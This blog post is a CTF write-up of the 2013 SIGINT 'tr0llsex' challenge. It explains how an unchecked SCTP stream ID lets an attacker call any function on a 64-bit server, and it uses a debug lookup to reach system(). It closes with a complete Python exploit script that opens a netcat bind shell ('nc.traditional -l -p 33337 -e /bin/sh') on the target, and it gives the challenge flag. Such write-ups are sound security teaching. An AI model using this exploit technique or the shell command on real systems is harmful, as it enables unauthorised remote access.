Tuesday, July 9, 2013

SIGINT 2013 CTF - tr0llsex

Got ourselves a pwning problem. Mmm.. tasty. A binary. An IP address. We can do this.
Running file we get:

server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x66661e417e6b4037e552b904c755f2e4a7ecf934, stripped

64-bit ELF. Let's see if IDA has the same interpretation. Pretty standard faire. Opens a socket, accepts connections, handles user data, uses sctp.


Wait, what? SCTP? Hmm, wikipedia tells us that sctp is the stream control transmission protocol and one of its nifty features is the ability to have multiple streams of data to the same socket. This sounds fun.

So let's figure out what the app actually does. Beginning of the client_handler routine, some structure is initialized on the stack by placing pointer to functions and strings. If we check each function, we get a nice function name in the beginning:


After naming all of them, one in particular sticks out: debug_handler. Let's take a closer peak.


dlopen() on NULL file ends up using the current process as the search space for dlsym(). Since the first argument is used as the input to dlsym() via a snprintf() onto the stack, this function allows us to look up the address of any function that could be in the address space of the running executable. My spider senses are tingling. This is going to be important.

So back to the client handler, after tracking all those down, we can whip up a IDA struct to pretty-ify our stack.


So after sending the client a banner that depicts the possible operations, we get the receive loop that pulls in data from the client and acts on it. sctp is an interesting beast. In the usage, here (and elsewhere) its a message based protocol. As such there are flags associated for determining that the current datagram for a particular stream is complete. In this case here, its important because the server only always reads into the start buffer and only processes data if the message is complete, aka MSG_MORE and MSG_EOR flags are not set.

So what does the server do with a full message?


Uses it to call a function, obviously. Let's look at this a little more. So the ID of the inbound stream is used as an index into the function table stored on stack. And the arguments to the function include (user buffer, amount of data, socket descriptor). This is exciting and ripe exploitation. See, the stream ID is used without any sort of bounds check, therefore we can walk off the end of the function table and use any value from the stack as our function pointer.


Lucky for us, the user data buffer happens to fall directly after the function table on the stack. Easy enough, send a message with a specific stream ID, and we control EIP. Perfect! Hmm, there may be more than meets the eye here. First, we have the no execute stack problem. Second, we don't have the exact address of our buffer on the stack (ASLR and all that crap). Maybe we can ROP it?

Searching for ROP gadgets proves to be fruitless as there only a handful in the binary and none that give control over the registers. See, unlike x86, parameters for functions are actually stored in the registers and therefore we need good gadgets.

Ok, what about that debug_handler? We could use it to look up any function we want in the binary and get the address. Our parameters to the function are limited, and we only get one function call. Good thing libc has a wonderful function called system() that allows us to pass a string to be executed. Let's abuse it to pop a shell.

One easy method of popping a shell is using netcat. Unfortunately, the netcat dev's decided a while ago to remove that important argument: -e. BUT, we can assume the binary is running on an Ubuntu system based upon the build string left by GCC. Knowing that Ubuntu has the option to install a version of netcat that supports this feature, we'll just test for its existence on the system first. How? Use exploit to "ls /bin" and grep for nc.traditional in the response.

Yup, its there. Now the elegant solution to this is using a reverse-shell, but I didn't want to muck with the router to open a port so I just used a listener :). Once on the box, we can now muck around and find that flag. Like baremetal, I have the suspicion it's in /home/challenge/flag.

SIGINT_we_care_for_our_irc_tr0lls

That was an entertaining problem and a fun exercise with sctp.

#!/usr/bin/env python

import _sctp
import sctp
from sctp import *
import time
import struct

server = "188.40.147.118"
tcpport = 1024

if _sctp.getconstant("IPPROTO_SCTP") != 132:
 raise "getconstant failed"

s = sctpsocket_tcp(socket.AF_INET)

saddr = (server, tcpport)
 
MAX_STREAM = 65535
s.initparams.max_instreams = MAX_STREAM
s.initparams.num_ostreams = MAX_STREAM

s.events.clear()
s.events.data_io = 1

s.connect(saddr)

# recv the banner string
fromaddr, flags, buf, notif = s.sctp_recv(1000)
print "[+] banner: {0}".format(buf)

# we can use the DEBUG handler to query the address of any libc func

def query_libc(name):
   funcname = "{0}\0".format(name)
   stream_id = -2 & 0xFFFF

   print "[+] querying libc offset : {0}".format(funcname)
   s.sctp_send(funcname, stream=stream_id);
   fromaddr, flags, msgret, notif = s.sctp_recv(1000)
   if msgret:
      print "[+] {0} : {1}".format(funcname, msgret)
      return int(msgret, 16)
   else:
      print "[!] failed to recv libc offset: {0}".format(funcname)
      return None

system_addr = query_libc("system")
if not system_addr:
   print "[!] crap..."
   exit(0)

# register status
#  RDI = our buffer
#  RSI = our buffer len
#  RDX = sock fd
# trying system()
print "[+] sending exploit"

# since RDI = start of buffer, we'll put our string at the front of the buffer
# and then pad with 0's to a sensible offset to use as the "call" address

#sys_str = "ls /bin >&4"
sys_str = "nc.traditional -l -p 33337 -e /bin/sh"
exp = sys_str + "\x00" # gotta have the null terminator

# need to round the stream id to the nearest %8
if len(exp) % 8:
   exp += "\x00" * (8 - (len(exp) % 8))
addr_off = len(exp)
exp += struct.pack("<Q", system_addr)
stream_id = ((0x874-0x830)-0x14+addr_off) / 8 
s.sctp_send(exp, stream=stream_id);

while True:
   fromaddr, flags, msgret, notif = s.sctp_recv(1000)
   if not msgret:
      break

   print "[+] {0}".format(msgret)

s.close()

No comments:

Post a Comment